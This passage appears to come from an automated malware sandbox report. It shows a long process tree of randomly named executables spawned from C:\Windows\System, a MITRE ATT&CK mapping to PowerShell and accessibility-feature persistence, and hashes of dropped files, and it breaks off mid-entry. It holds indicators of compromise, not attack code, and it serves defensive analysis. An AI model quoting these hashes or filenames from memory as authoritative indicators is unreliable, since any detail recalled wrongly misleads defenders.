  2⤵
  PID:8756
- C:\Windows\System\WtwIYVh.exe
  C:\Windows\System\WtwIYVh.exe
  2⤵
  PID:8820
- C:\Windows\System\uvJRMwN.exe
  C:\Windows\System\uvJRMwN.exe
  2⤵
  PID:8848
- C:\Windows\System\EEdPAJh.exe
  C:\Windows\System\EEdPAJh.exe
  2⤵
  PID:8864
- C:\Windows\System\gbKklXV.exe
  C:\Windows\System\gbKklXV.exe
  2⤵
  PID:8888
- C:\Windows\System\HTprDlg.exe
  C:\Windows\System\HTprDlg.exe
  2⤵
  PID:8908
- C:\Windows\System\hjsDlAV.exe
  C:\Windows\System\hjsDlAV.exe
  2⤵
  PID:8928
- C:\Windows\System\ujIxkYq.exe
  C:\Windows\System\ujIxkYq.exe
  2⤵
  PID:8944
- C:\Windows\System\RxJHoLL.exe
  C:\Windows\System\RxJHoLL.exe
  2⤵
  PID:8968
- C:\Windows\System\lEUCgEH.exe
  C:\Windows\System\lEUCgEH.exe
  2⤵
  PID:8984
- C:\Windows\System\OjfDXxw.exe
  C:\Windows\System\OjfDXxw.exe
  2⤵
  PID:9004
- C:\Windows\System\qBayNRQ.exe
  C:\Windows\System\qBayNRQ.exe
  2⤵
  PID:9024
- C:\Windows\System\IZijwZE.exe
  C:\Windows\System\IZijwZE.exe
  2⤵
  PID:9040
- C:\Windows\System\szdWPtf.exe
  C:\Windows\System\szdWPtf.exe
  2⤵
  PID:9056
- C:\Windows\System\iztCorM.exe
  C:\Windows\System\iztCorM.exe
  2⤵
  PID:9072
- C:\Windows\System\AbXRFMH.exe
  C:\Windows\System\AbXRFMH.exe
  2⤵
  PID:9088
- C:\Windows\System\dgZNgTX.exe
  C:\Windows\System\dgZNgTX.exe
  2⤵
  PID:9104
- C:\Windows\System\zSpenaB.exe
  C:\Windows\System\zSpenaB.exe
  2⤵
  PID:9120
- C:\Windows\System\OWKKjrm.exe
  C:\Windows\System\OWKKjrm.exe
  2⤵
  PID:9136
- C:\Windows\System\nTXclYu.exe
  C:\Windows\System\nTXclYu.exe
  2⤵
  PID:9176
- C:\Windows\System\SZMohPW.exe
  C:\Windows\System\SZMohPW.exe
  2⤵
  PID:9192
- C:\Windows\System\yldbQcQ.exe
  C:\Windows\System\yldbQcQ.exe
  2⤵
  PID:9208
- C:\Windows\System\GWhjkVW.exe
  C:\Windows\System\GWhjkVW.exe
  2⤵
  PID:8436
- C:\Windows\System\DTRRfwL.exe
  C:\Windows\System\DTRRfwL.exe
  2⤵
  PID:8508
- C:\Windows\System\iCynLiK.exe
  C:\Windows\System\iCynLiK.exe
  2⤵
  PID:8548
- C:\Windows\System\ccUkImD.exe
  C:\Windows\System\ccUkImD.exe
  2⤵
  PID:8200
- C:\Windows\System\TzRZSVh.exe
  C:\Windows\System\TzRZSVh.exe
  2⤵
  PID:8660
- C:\Windows\System\ZXCozcv.exe
  C:\Windows\System\ZXCozcv.exe
  2⤵
  PID:8708
- C:\Windows\System\LSYLQAN.exe
  C:\Windows\System\LSYLQAN.exe
  2⤵
  PID:8748
- C:\Windows\System\InHVZHi.exe
  C:\Windows\System\InHVZHi.exe
  2⤵
  PID:8412
- C:\Windows\System\ovwWWLu.exe
  C:\Windows\System\ovwWWLu.exe
  2⤵
  PID:7656
- C:\Windows\System\OdKeIss.exe
  C:\Windows\System\OdKeIss.exe
  2⤵
  PID:8268
- C:\Windows\System\Kdbagbo.exe
  C:\Windows\System\Kdbagbo.exe
  2⤵
  PID:8424
- C:\Windows\System\wrlPxRJ.exe
  C:\Windows\System\wrlPxRJ.exe
  2⤵
  PID:8120
- C:\Windows\System\pWQRFTM.exe
  C:\Windows\System\pWQRFTM.exe
  2⤵
  PID:8460
- C:\Windows\System\kpdHwOT.exe
  C:\Windows\System\kpdHwOT.exe
  2⤵
  PID:8780
- C:\Windows\System\GZxQfYl.exe
  C:\Windows\System\GZxQfYl.exe
  2⤵
  PID:8532
- C:\Windows\System\dmUQMZX.exe
  C:\Windows\System\dmUQMZX.exe
  2⤵
  PID:8788
- C:\Windows\System\UAOuRjC.exe
  C:\Windows\System\UAOuRjC.exe
  2⤵
  PID:8772
- C:\Windows\System\ViIqtCB.exe
  C:\Windows\System\ViIqtCB.exe
  2⤵
  PID:8840
- C:\Windows\System\Kyznqgq.exe
  C:\Windows\System\Kyznqgq.exe
  2⤵
  PID:8860
- C:\Windows\System\xfwwXhm.exe
  C:\Windows\System\xfwwXhm.exe
  2⤵
  PID:8916
- C:\Windows\System\jXifcEz.exe
  C:\Windows\System\jXifcEz.exe
  2⤵
  PID:8936
- C:\Windows\System\QhwUWBb.exe
  C:\Windows\System\QhwUWBb.exe
  2⤵
  PID:8960
- C:\Windows\System\sdiOgXq.exe
  C:\Windows\System\sdiOgXq.exe
  2⤵
  PID:8976
- C:\Windows\System\UmWMhLo.exe
  C:\Windows\System\UmWMhLo.exe
  2⤵
  PID:9016
- C:\Windows\System\kuzwrTP.exe
  C:\Windows\System\kuzwrTP.exe
  2⤵
  PID:9100
- C:\Windows\System\oSUvjtU.exe
  C:\Windows\System\oSUvjtU.exe
  2⤵
  PID:9052
- C:\Windows\System\YIdJDtU.exe
  C:\Windows\System\YIdJDtU.exe
  2⤵
  PID:9144
- C:\Windows\System\eosGARH.exe
  C:\Windows\System\eosGARH.exe
  2⤵
  PID:9156
- C:\Windows\System\mAQQRRr.exe
  C:\Windows\System\mAQQRRr.exe
  2⤵
  PID:9200
- C:\Windows\System\eEAHEUu.exe
  C:\Windows\System\eEAHEUu.exe
  2⤵
  PID:8288
- C:\Windows\System\nYlOSkZ.exe
  C:\Windows\System\nYlOSkZ.exe
  2⤵
  PID:8472
- C:\Windows\System\zLFKxpe.exe
  C:\Windows\System\zLFKxpe.exe
  2⤵
  PID:8700
- C:\Windows\System\mQoSBrX.exe
  C:\Windows\System\mQoSBrX.exe
  2⤵
  PID:8452
- C:\Windows\System\TyVTdiU.exe
  C:\Windows\System\TyVTdiU.exe
  2⤵
  PID:8600
- C:\Windows\System\JisRzmP.exe
  C:\Windows\System\JisRzmP.exe
  2⤵
  PID:8628
- C:\Windows\System\CqCaUlK.exe
  C:\Windows\System\CqCaUlK.exe
  2⤵
  PID:8720
- C:\Windows\System\lZMhNUK.exe
  C:\Windows\System\lZMhNUK.exe
  2⤵
  PID:8764
- C:\Windows\System\hIszKJo.exe
  C:\Windows\System\hIszKJo.exe
  2⤵
  PID:8312
- C:\Windows\System\hNRYrsz.exe
  C:\Windows\System\hNRYrsz.exe
  2⤵
  PID:8648
- C:\Windows\System\SdTeJPZ.exe
  C:\Windows\System\SdTeJPZ.exe
  2⤵
  PID:8684
- C:\Windows\System\zeldVmf.exe
  C:\Windows\System\zeldVmf.exe
  2⤵
  PID:8884
- C:\Windows\System\MIQRPVh.exe
  C:\Windows\System\MIQRPVh.exe
  2⤵
  PID:7044
- C:\Windows\System\prgfjHQ.exe
  C:\Windows\System\prgfjHQ.exe
  2⤵
  PID:8924
- C:\Windows\System\yJdxpQP.exe
  C:\Windows\System\yJdxpQP.exe
  2⤵
  PID:9012
- C:\Windows\System\gMCmOsk.exe
  C:\Windows\System\gMCmOsk.exe
  2⤵
  PID:8992
- C:\Windows\System\diVbuth.exe
  C:\Windows\System\diVbuth.exe
  2⤵
  PID:9160
- C:\Windows\System\DPoPKnM.exe
  C:\Windows\System\DPoPKnM.exe
  2⤵
  PID:8248
- C:\Windows\System\KuZWZpF.exe
  C:\Windows\System\KuZWZpF.exe
  2⤵
  PID:9172
- C:\Windows\System\iqHTxsQ.exe
  C:\Windows\System\iqHTxsQ.exe
  2⤵
  PID:7688
- C:\Windows\System\gYKsalz.exe
  C:\Windows\System\gYKsalz.exe
  2⤵
  PID:8400
- C:\Windows\System\eIzKnCv.exe
  C:\Windows\System\eIzKnCv.exe
  2⤵
  PID:8624
- C:\Windows\System\idYGPKu.exe
  C:\Windows\System\idYGPKu.exe
  2⤵
  PID:8380
- C:\Windows\System\pbtNDtL.exe
  C:\Windows\System\pbtNDtL.exe
  2⤵
  PID:8752
- C:\Windows\System\GeJfWLc.exe
  C:\Windows\System\GeJfWLc.exe
  2⤵
  PID:8676
- C:\Windows\System\bZExwLC.exe
  C:\Windows\System\bZExwLC.exe
  2⤵
  PID:8836
- C:\Windows\System\pIzYMCh.exe
  C:\Windows\System\pIzYMCh.exe
  2⤵
  PID:8528
- C:\Windows\System\QPZxgbL.exe
  C:\Windows\System\QPZxgbL.exe
  2⤵
  PID:8940
- C:\Windows\System\JzuxbzT.exe
  C:\Windows\System\JzuxbzT.exe
  2⤵
  PID:8376
- C:\Windows\System\KsPXwym.exe
  C:\Windows\System\KsPXwym.exe
  2⤵
  PID:8524
- C:\Windows\System\nEnqtRL.exe
  C:\Windows\System\nEnqtRL.exe
  2⤵
  PID:8480
- C:\Windows\System\MyYNHia.exe
  C:\Windows\System\MyYNHia.exe
  2⤵
  PID:8964
- C:\Windows\System\rCGgqsJ.exe
  C:\Windows\System\rCGgqsJ.exe
  2⤵
  PID:9188
- C:\Windows\System\pEzpJlX.exe
  C:\Windows\System\pEzpJlX.exe
  2⤵
  PID:8896
- C:\Windows\System\lQFinVd.exe
  C:\Windows\System\lQFinVd.exe
  2⤵
  PID:9068
- C:\Windows\System\QXDfpSh.exe
  C:\Windows\System\QXDfpSh.exe
  2⤵
  PID:8796
- C:\Windows\System\YSEkUHa.exe
  C:\Windows\System\YSEkUHa.exe
  2⤵
  PID:9112
- C:\Windows\System\sxIwAEg.exe
  C:\Windows\System\sxIwAEg.exe
  2⤵
  PID:8512
- C:\Windows\System\rnhVMCA.exe
  C:\Windows\System\rnhVMCA.exe
  2⤵
  PID:8880
- C:\Windows\System\EANZEEi.exe
  C:\Windows\System\EANZEEi.exe
  2⤵
  PID:9020
- C:\Windows\System\HdywPJa.exe
  C:\Windows\System\HdywPJa.exe
  2⤵
  PID:8604
- C:\Windows\System\gULRbQQ.exe
  C:\Windows\System\gULRbQQ.exe
  2⤵
  PID:8372
- C:\Windows\System\ioOVUrR.exe
  C:\Windows\System\ioOVUrR.exe
  2⤵
  PID:9228
- C:\Windows\System\odxyELz.exe
  C:\Windows\System\odxyELz.exe
  2⤵
  PID:9244
- C:\Windows\System\NrVGbju.exe
  C:\Windows\System\NrVGbju.exe
  2⤵
  PID:9260
- C:\Windows\System\vQYhBcU.exe
  C:\Windows\System\vQYhBcU.exe
  2⤵
  PID:9304
- C:\Windows\System\kQQlihi.exe
  C:\Windows\System\kQQlihi.exe
  2⤵
  PID:9320
- C:\Windows\System\fkUslXE.exe
  C:\Windows\System\fkUslXE.exe
  2⤵
  PID:9340
- C:\Windows\System\uVhVAIL.exe
  C:\Windows\System\uVhVAIL.exe
  2⤵
  PID:9356
- C:\Windows\System\VKlMxpT.exe
  C:\Windows\System\VKlMxpT.exe
  2⤵
  PID:9388
- C:\Windows\System\CpSffVL.exe
  C:\Windows\System\CpSffVL.exe
  2⤵
  PID:9404
- C:\Windows\System\NJGnphQ.exe
  C:\Windows\System\NJGnphQ.exe
  2⤵
  PID:9424
- C:\Windows\System\KmKQqbQ.exe
  C:\Windows\System\KmKQqbQ.exe
  2⤵
  PID:9440
- C:\Windows\System\TekcWiz.exe
  C:\Windows\System\TekcWiz.exe
  2⤵
  PID:9468
- C:\Windows\System\InQnYzv.exe
  C:\Windows\System\InQnYzv.exe
  2⤵
  PID:9488
- C:\Windows\System\AHRYoEv.exe
  C:\Windows\System\AHRYoEv.exe
  2⤵
  PID:9504
- C:\Windows\System\jtchCQN.exe
  C:\Windows\System\jtchCQN.exe
  2⤵
  PID:9524
- C:\Windows\System\RUsODBc.exe
  C:\Windows\System\RUsODBc.exe
  2⤵
  PID:9540
- C:\Windows\System\GBAkfbS.exe
  C:\Windows\System\GBAkfbS.exe
  2⤵
  PID:9568
- C:\Windows\System\UAXOCWj.exe
  C:\Windows\System\UAXOCWj.exe
  2⤵
  PID:9584
- C:\Windows\System\xXNkCys.exe
  C:\Windows\System\xXNkCys.exe
  2⤵
  PID:9604
- C:\Windows\System\NgpfDBh.exe
  C:\Windows\System\NgpfDBh.exe
  2⤵
  PID:9620
- C:\Windows\System\PaTbrhV.exe
  C:\Windows\System\PaTbrhV.exe
  2⤵
  PID:9644
- C:\Windows\System\ZZVdXmc.exe
  C:\Windows\System\ZZVdXmc.exe
  2⤵
  PID:9660
- C:\Windows\System\PyeZvzN.exe
  C:\Windows\System\PyeZvzN.exe
  2⤵
  PID:9688
- C:\Windows\System\BfnUrnO.exe
  C:\Windows\System\BfnUrnO.exe
  2⤵
  PID:9704
- C:\Windows\System\tszxwku.exe
  C:\Windows\System\tszxwku.exe
  2⤵
  PID:9724
- C:\Windows\System\IFccHBy.exe
  C:\Windows\System\IFccHBy.exe
  2⤵
  PID:9748
- C:\Windows\System\pQkxZXx.exe
  C:\Windows\System\pQkxZXx.exe
  2⤵
  PID:9764
- C:\Windows\System\TOpwqWt.exe
  C:\Windows\System\TOpwqWt.exe
  2⤵
  PID:9784
- C:\Windows\System\HoPmngh.exe
  C:\Windows\System\HoPmngh.exe
  2⤵
  PID:9800
- C:\Windows\System\FhUCAkt.exe
  C:\Windows\System\FhUCAkt.exe
  2⤵
  PID:9816
- C:\Windows\System\OCxuWHR.exe
  C:\Windows\System\OCxuWHR.exe
  2⤵
  PID:9844
- C:\Windows\System\LJNhUrD.exe
  C:\Windows\System\LJNhUrD.exe
  2⤵
  PID:9872
- C:\Windows\System\hQSsCWY.exe
  C:\Windows\System\hQSsCWY.exe
  2⤵
  PID:9888
- C:\Windows\System\IKrQqmh.exe
  C:\Windows\System\IKrQqmh.exe
  2⤵
  PID:9904
- C:\Windows\System\COlxHZW.exe
  C:\Windows\System\COlxHZW.exe
  2⤵
  PID:9928
- C:\Windows\System\xyTSLQi.exe
  C:\Windows\System\xyTSLQi.exe
  2⤵
  PID:9944
- C:\Windows\System\SXjgfqA.exe
  C:\Windows\System\SXjgfqA.exe
  2⤵
  PID:9960
- C:\Windows\System\OLmYwCo.exe
  C:\Windows\System\OLmYwCo.exe
  2⤵
  PID:9976
- C:\Windows\System\DDowTJx.exe
  C:\Windows\System\DDowTJx.exe
  2⤵
  PID:9992
- C:\Windows\System\noKYpqi.exe
  C:\Windows\System\noKYpqi.exe
  2⤵
  PID:10016
- C:\Windows\System\Cpdgoar.exe
  C:\Windows\System\Cpdgoar.exe
  2⤵
  PID:10044
- C:\Windows\System\rDtSWVp.exe
  C:\Windows\System\rDtSWVp.exe
  2⤵
  PID:10068
- C:\Windows\System\qfltWyc.exe
  C:\Windows\System\qfltWyc.exe
  2⤵
  PID:10084
- C:\Windows\System\QyjeFSl.exe
  C:\Windows\System\QyjeFSl.exe
  2⤵
  PID:10100
- C:\Windows\System\DGFgSok.exe
  C:\Windows\System\DGFgSok.exe
  2⤵
  PID:10116
- C:\Windows\System\NiqqXmK.exe
  C:\Windows\System\NiqqXmK.exe
  2⤵
  PID:10136
- C:\Windows\System\LaKrPiO.exe
  C:\Windows\System\LaKrPiO.exe
  2⤵
  PID:10152
- C:\Windows\System\xufBiVi.exe
  C:\Windows\System\xufBiVi.exe
  2⤵
  PID:10172
- C:\Windows\System\wtMWMBb.exe
  C:\Windows\System\wtMWMBb.exe
  2⤵
  PID:10196
- C:\Windows\System\ZvpKmVE.exe
  C:\Windows\System\ZvpKmVE.exe
  2⤵
  PID:10232
- C:\Windows\System\roBTuqz.exe
  C:\Windows\System\roBTuqz.exe
  2⤵
  PID:9252
- C:\Windows\System\NLPljDm.exe
  C:\Windows\System\NLPljDm.exe
  2⤵
  PID:9272
- C:\Windows\System\YGpgMHB.exe
  C:\Windows\System\YGpgMHB.exe
  2⤵
  PID:9132
- C:\Windows\System\ERwcveL.exe
  C:\Windows\System\ERwcveL.exe
  2⤵
  PID:7744
- C:\Windows\System\lJMBrlQ.exe
  C:\Windows\System\lJMBrlQ.exe
  2⤵
  PID:9284
- C:\Windows\System\HtInolP.exe
  C:\Windows\System\HtInolP.exe
  2⤵
  PID:9300
- C:\Windows\System\mdgGTMc.exe
  C:\Windows\System\mdgGTMc.exe
  2⤵
  PID:9348
- C:\Windows\System\WJKdjSH.exe
  C:\Windows\System\WJKdjSH.exe
  2⤵
  PID:9364
- C:\Windows\System\UfQxeAk.exe
  C:\Windows\System\UfQxeAk.exe
  2⤵
  PID:9412
- C:\Windows\System\DuRSAKG.exe
  C:\Windows\System\DuRSAKG.exe
  2⤵
  PID:9460
- C:\Windows\System\CLromwk.exe
  C:\Windows\System\CLromwk.exe
  2⤵
  PID:9532
- C:\Windows\System\ucbmPYX.exe
  C:\Windows\System\ucbmPYX.exe
  2⤵
  PID:9548
- C:\Windows\System\PiNzSPF.exe
  C:\Windows\System\PiNzSPF.exe
  2⤵
  PID:9552
- C:\Windows\System\MwHJvvq.exe
  C:\Windows\System\MwHJvvq.exe
  2⤵
  PID:9632
- C:\Windows\System\yNjxbwM.exe
  C:\Windows\System\yNjxbwM.exe
  2⤵
  PID:9612
- C:\Windows\System\HTzDkLS.exe
  C:\Windows\System\HTzDkLS.exe
  2⤵
  PID:9672
- C:\Windows\System\TJxAAWu.exe
  C:\Windows\System\TJxAAWu.exe
  2⤵
  PID:9700
- C:\Windows\System\KZAouNY.exe
  C:\Windows\System\KZAouNY.exe
  2⤵
  PID:9736
- C:\Windows\System\AygFllq.exe
  C:\Windows\System\AygFllq.exe
  2⤵
  PID:9756
- C:\Windows\System\ydnYdrc.exe
  C:\Windows\System\ydnYdrc.exe
  2⤵
  PID:9824
- C:\Windows\System\RMXzfYg.exe
  C:\Windows\System\RMXzfYg.exe
  2⤵
  PID:9776
- C:\Windows\System\tTSitNM.exe
  C:\Windows\System\tTSitNM.exe
  2⤵
  PID:9868
- C:\Windows\System\uTiyJXP.exe
  C:\Windows\System\uTiyJXP.exe
  2⤵
  PID:9900
- C:\Windows\System\haYnvHd.exe
  C:\Windows\System\haYnvHd.exe
  2⤵
  PID:9956
- C:\Windows\System\dPJstbO.exe
  C:\Windows\System\dPJstbO.exe
  2⤵
  PID:9968
- C:\Windows\System\CeTyDFo.exe
  C:\Windows\System\CeTyDFo.exe
  2⤵
  PID:10004
- C:\Windows\System\GPpBugy.exe
  C:\Windows\System\GPpBugy.exe
  2⤵
  PID:10036
- C:\Windows\System\zxTnrCp.exe
  C:\Windows\System\zxTnrCp.exe
  2⤵
  PID:10076
- C:\Windows\System\XdvevgR.exe
  C:\Windows\System\XdvevgR.exe
  2⤵
  PID:10108
- C:\Windows\System\dnXlgHS.exe
  C:\Windows\System\dnXlgHS.exe
  2⤵
  PID:10124
- C:\Windows\System\JzAYeQk.exe
  C:\Windows\System\JzAYeQk.exe
  2⤵
  PID:10180
- C:\Windows\System\uHQifEO.exe
  C:\Windows\System\uHQifEO.exe
  2⤵
  PID:10164
- C:\Windows\System\CETTqqr.exe
  C:\Windows\System\CETTqqr.exe
  2⤵
  PID:10216
- C:\Windows\System\qaSteyM.exe
  C:\Windows\System\qaSteyM.exe
  2⤵
  PID:9236
- C:\Windows\System\TlwKopG.exe
  C:\Windows\System\TlwKopG.exe
  2⤵
  PID:9292
- C:\Windows\System\GSgGRhN.exe
  C:\Windows\System\GSgGRhN.exe
  2⤵
  PID:8644
- C:\Windows\System\VeHnmep.exe
  C:\Windows\System\VeHnmep.exe
  2⤵
  PID:8252
- C:\Windows\System\sIeTaBV.exe
  C:\Windows\System\sIeTaBV.exe
  2⤵
  PID:9400
- C:\Windows\System\pRjdjvL.exe
  C:\Windows\System\pRjdjvL.exe
  2⤵
  PID:9436
- C:\Windows\System\GQWrePP.exe
  C:\Windows\System\GQWrePP.exe
  2⤵
  PID:9500
- C:\Windows\System\fQQZyls.exe
  C:\Windows\System\fQQZyls.exe
  2⤵
  PID:9564
- C:\Windows\System\bZJgwnX.exe
  C:\Windows\System\bZJgwnX.exe
  2⤵
  PID:9580
- C:\Windows\System\nierEyd.exe
  C:\Windows\System\nierEyd.exe
  2⤵
  PID:9656
- C:\Windows\System\bAwLOMR.exe
  C:\Windows\System\bAwLOMR.exe
  2⤵
  PID:9380
- C:\Windows\System\lPFapmr.exe
  C:\Windows\System\lPFapmr.exe
  2⤵
  PID:9796
- C:\Windows\System\lfBVDiS.exe
  C:\Windows\System\lfBVDiS.exe
  2⤵
  PID:9840
- C:\Windows\System\yeeWqRj.exe
  C:\Windows\System\yeeWqRj.exe
  2⤵
  PID:9860
- C:\Windows\System\VMBRVZd.exe
  C:\Windows\System\VMBRVZd.exe
  2⤵
  PID:9940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Privilege Escalation

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\AKeSUlx.exe

Filesize
3.2MB

MD5
71f1d6910c8dd19ee064fba8cafc488a

SHA1
f14abdb30b9a0f02d979efa6ab04a7557b2438bf

SHA256
f660361b0c65f4d7e5816ee14f71ad06cf78f7a1ed7547c8b4227e3d4177589a

SHA512
dc2954a6b5a7648ee252340cbe9fe70d70367e4ad5668a4bfc935036a95f4bae33bf91c9ed5f2ce93e0fc6fc1f4e3f48b9282a82e17ab3dbebf207944dc8dadb

Download Submit
C:\Windows\system\AoYGOmd.exe

Filesize
3.2MB

MD5
7ee35657038a3cab90610994c8496c5e

SHA1
172f46bb83c4248a12325166014f1f3632e14dba

SHA256
5fadb7b081ac580bcaa1257fe99ce79861f277f4f16a07288c1332e950e5ef47

SHA512
bbc0cc904d9c3e839d44162681a330111bdadb2b5b51346b400adfb4d65deda4626e4801db2b10e0fb91b7e63e8c1688bbb2df68ce6965b4d84dc517de986538

Download Submit
C:\Windows\system\FkBSiKp.exe

Filesize
3.2MB

MD5
a15aded08cd0456e387bfd0e5d41bb3f

SHA1
1a16394c35049ed8c7491611f3f0f2d117b7c3d5

SHA256
d3b1cb7f63117e5403fa985e13cf7cf3ea6d0c90cba865a39f10911309a4e8fc

SHA512
8c21fad8e793c450db22e83defedf90315e97a19f7890b996bf9dc65344331632b28ef614ff80848a24b784a2c7c940c8b33839c856c66ce7be6d1a2178b38cc

Download Submit
C:\Windows\system\JtmaqUh.exe

Filesize
3.2MB

MD5
a7a2f1887512cf3d4890bd80bd52725a

SHA1
92e1f1f5731c29fe0a1b73b25db110b83a8ad243

SHA256
7fdbb69b6bf446b151f7b7af415723efd3888761459980badc80e27efecbab29

SHA512
7da9267121c3c57053c0371020b84e6e2018fa0b3cbb17d7f2bc4fc797b33b944b1a71e8b9edf613af7046d43c07c7b4d3cdd8a908cec5ea1ecffbe9a677f7af

Download Submit
C:\Windows\system\MfZYKJv.exe

Filesize
3.2MB

MD5
05f8b48b5d60925c542da3bb735712cc

SHA1
00a62de8617b0a3c12ae1e6b032f9b4c39fbcf32

SHA256
d35453481a91b754812b5a9e9526b96e79a24dd1eeb855a7c6b643954f23220d

SHA512
30e340d03240da2f28c3b7d30fc78129dfe037b605f9e4f4058468e84d1317302741fba97bedc7749d594a7dcc88eb5336e4bae16090b48962427ce35beb8cfd

Download Submit
C:\Windows\system\NEbaEpB.exe

Filesize
3.2MB

MD5
b05eaf2a05c53c2872df789ec61dd8d6

SHA1
9af1bbea8af351009d06c245604aabfdf24b4df0

SHA256
4c378a6e8a4bbe891a239213a49d0e583f7a665cf0cb4ab96a2737cd6167731b

SHA512
2f2adfa9197fa875226ef133229fa3ac2e27caa30529f1d92c76073d9efc181e4fa41eddcd76149234a8fdaf855a78e5d6868a53d469a466a968393c7966103d

Download Submit
C:\Windows\system\NZyaEiy.exe

Filesize
3.2MB

MD5
49a2634612f3220082ebb2ca8afc67e1

SHA1
8c2fe3861476ba8129827cca197333ef77d8e123

SHA256
21afc7be11cd4a21ea9d4d7da360a1014c81ad47729844d63bd7b147c689fc8f

SHA512
32171b469e5109474fcbd7da51d3d2c5959ded9b58552063caaa72294863e93f114372306879019499b1ec46fe12153166d5d9347ef9f717c8d06fa1ade6c73f

Download Submit
C:\Windows\system\OAzpihs.exe

Filesize
3.2MB

MD5
b8f9e9e217a4f92a5ed9b8fd60cdd7e7

SHA1
e70fd15214b44f7ef091ca585618ee4e7dd01eaf

SHA256
498125a21c992f53ae0c254fee42d905a2461c801cc83958042c254dbeddfc4c

SHA512
38c8dbf915c86633f6507d2f62b27170ab3081be7b88b346f237e0d011c0aefd5512a041fcaad583aec102f4f3c238466f6c178a94de71d9af3e7ef59e79a397

Download Submit
C:\Windows\system\PhpeRjK.exe

Filesize
3.2MB

MD5
bd0162b6592efbc5fc634586683710c4

SHA1
8503782fdfa2760f71b0269e61b9fff879220236

SHA256
6cc9a0cc6a75fd91314695549fdb30a5e23bc21c971e66d60df657ac599504ea

SHA512
5e119a76e189a33bfdac04925952e67bd7c8882785957d81ac7afd0cfef0ed6a638d9b5f97bcd8d722b3d8da5b8f2ad2ebb66787ea6ac95e685f4084c52f7a48

Download Submit
C:\Windows\system\RVgGMVG.exe

Filesize
3.2MB

MD5
1b109033a9edd0ce51c1b7c2a6cd4509

SHA1
b2d6b511435ff69ee24d0155cc39423184616cf3

SHA256
ccdf032f691f3e133316b65aba0727ac4c4a8ad4e1d0af89913ff26fecbdb8d3

SHA512
78b893baa9b4dbc8eaf9aa2e6b04c8331dadde5c13144d47f9fb2a49efcb0616937ed334ea25f1d9368feba3cf0f37c9385a403c2c1ad6c31ba9ba4c9243ad85

Download Submit
C:\Windows\system\STWYyuS.exe

Filesize
3.2MB

MD5
05d683ca54fb30a40fb8e3e0a6408861

SHA1
16d3361ac06fde2ae7af61eb6aa697707e41d1a1

SHA256
f5b8bbced6381805ba7c2061499411008c08feaa3dbd861c10252cbd1bdfe2f5

SHA512
3f492d0e7c0e90a8170af4d894c4fd95ab80b2b56f15cb70020673e7e56045742c607d02ad20895b02658768fc391369945857d85600a132a7700f7aa7254f8e

Download Submit
C:\Windows\system\WebklGo.exe

Filesize
3.2MB

MD5
3284f96967ae2ce1357c3862f4daf8b7

SHA1
777e6f299b376b1ba3afb86f896e950640135784

SHA256
649dfa31b041e2808a4baaa0602e591ec088a41863fe9c474b87cd2df4cd8aa5

SHA512
c6f4d9a478b3bb6d98574833be92d75007af7c8b1a62ef9acdb5d56c5e997ca04bf68021592277a0d7eafe4dcf54851ab0e83095388b9bc5804212a4fbd9279f

Download Submit
C:\Windows\system\ZzQvqSZ.exe

Filesize
3.2MB

MD5
e9ff1fd147cff1f3ca39e1ebbd13c564

SHA1
5a87a0ce03b1f4fbbabe21aa9f8128900c1daafb

SHA256
4a082570fbc5e303b421a57f4d5d31dc774ba3e53b894ca3e4709676304930f5

SHA512
71dd2afefa66ff61bce53de55efe4a4b7925f2de89e8f0b49ddc20140ef8141d3075055267dfeb9565850f59e4388b49a90b85bee3664f35558f908c6ae6df59

Download Submit
C:\Windows\system\bhLBVjD.exe

Filesize
3.2MB

MD5
2173a2cd040e6d7e673340eb5471350e

SHA1
6c68a5d8c64392021d836168a7bdf7b64204a615

SHA256
8b0038f59060522219e7bd8936cfd1e52ee4f537b46079c456d898ec1221835e

SHA512
4e01d0ab2c700b0b0ebce47630343fc97f588fa1e73893022dc49ca2a56a8669d3e640285006228e746ad9e68e0b433a30d144dca19c8e9dce4bd80cf8a2eb40

Download Submit
C:\Windows\system\dSTlNlj.exe

Filesize
3.2MB

MD5
92bc266f8f7aaad72c0d1ca601b024cb

SHA1
0927d273d6196dc17008e0e2e68574796b4ddfb8

SHA256
80e14f94e60bf936ef101743ff0a9be44b032dd27fb255b9a42b2b95c952f5f6

SHA512
3b7097062f95d6b80c4142aa5a5919471bf36602c47132d442903ef1e309251ba21d934409613b28f6322a91ae16cc6e33612b89cdf91e0044559ccf23e6fcd6

Download Submit
C:\Windows\system\dvJVqRz.exe

Filesize
3.2MB

MD5
d18ed8e373612b587ecde92a1390e3ee

SHA1
789c704157fbdd51c9e95bfdee3d5032218597aa

SHA256
552e852f92022ac1497460cfdcb1d592a992d0742fdc93593bd87ae51b327a3c

SHA512
8b9069a93910a2c6d24d4538c22f59c45bce77ea4c9d33f940d334bcd65eb5e25414e55c83921247c176229059862e5678f8bacb12c5f497e43862262e416cc9

Download Submit
C:\Windows\system\eETVcNF.exe

Filesize
3.2MB

MD5
27552b95559c3d12395c2cc3e0d9c41e

SHA1
b9458580ab8852a5eb1a9c99c5ce96c6b3cd759d

SHA256
df53a3653b70293e6a51114e236a4069287f76a6230165d0152034bf27a7cc6d

SHA512
1d5a1e2e2d3822cc7d033c195efcd42ffe31886387cefbce7019ae666d6fb7b9b1d74f059fffc8291b5c95090adf5bbbdbc212953c821ebba120f5e0fcc53e2c

Download Submit
C:\Windows\system\gCAJtJo.exe

Filesize
3.2MB

MD5
f340f2122de3770b87c5e5ff554fec0f

SHA1
1ead58e384f5cb491d15bbaa782820fe4b885846

SHA256
d7d3e41555d2fc5a4e282adcb571f3fe4f704ac5a1c52c6debb5458c783f9ea7

SHA512
fd99ffbe636da2571d500558d3350387f1db5cbabb1ae143ca971fdfda024626fe3bede0960543f89b9af9fdc557d3e1d46feeb9507b41863d0912cae4f21e0f

Download Submit
C:\Windows\system\hxZNcWl.exe

Filesize
3.2MB

MD5
44d2aa55aca0a4d413adb8c3e48b1646

SHA1
e44763475a9b1840a82434f3142d9b58f963a220

SHA256
8ff765cc4bcabf247f63ea07dd3c54b041bd1d2c819d0b2ef8e453557c28c0a2

SHA512
